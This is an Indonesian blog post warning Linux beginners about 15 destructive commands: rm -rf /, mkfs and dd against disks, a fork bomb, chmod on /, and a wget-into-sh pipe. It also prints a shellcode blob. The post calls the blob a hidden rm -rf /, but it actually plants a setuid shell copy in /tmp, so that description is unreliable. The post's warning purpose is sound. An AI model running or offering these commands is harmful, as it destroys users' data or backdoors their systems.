15 Command Linux Berbahaya

Seringkali dalam forum kita menemukan baris command Linux yang kita tidak tahu fungsinya, terlebih jika kita masih baru dalam menggunakan Linux. Maka dari itu waspadalah terhadap command-command Linux berbahaya seperti berikut ini:

1. Code:
rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.

2. Code:
char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
More Details of this code is available here: http://seclists.org/fulldisclosure/2007/Aug/71

3. Code:
mkfs.ext3 /dev/sda
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:
:(){:|:&};:
Known as fork bomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:
wget http://some_untrusted_source O | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

6. Code:
mv ~/* /dev/null
mv /home/yourhomedirectory/* /dev/null
This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

7. Code:
chmod -R 777 /
This comand make your system world writable.

8. Code:
chmod 000 -R /
chown nobody:nobody -R /
This command removes all the access priviledge from all the users except root

9. Code:
yes > /dev/sda
This command fill your hard disk with the character 'y'

10. Code:
any_command > /dev/sda
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

11. Code
dd if=/dev/null of=/dev/sda
This command fill your hard disk partition with with 0's.

12. Code:
dd if=/dev/urandom of=/dev/sda
This command fill your hard disk partition with some random data

13. Code:
rm -rf /boot/
Description: Will delete Kernel , Initrd , and GRUB/LILO Files
(Needed for Linux Startup)

14. Code:
rm /boot/vmlinux
rm /boot/vmlinuz
rm /boot/vmlinux*
rm /boot/vmlinuz*
Delete the Linux kernel

15. Code:
rm /bin/init
cd / ; find -iname init -exec rm -rf {} \;
Deletes any file with "init" in it including /sbin/init.


[Source: https://plus.google.com/111560558537332305125/posts/d64bp6rkZMC]

1 komentar

  1. saya masih kurang paham kalau linux atau ubuntu mas,,, perlu belajar lagi nie kayaknya

    BalasHapus


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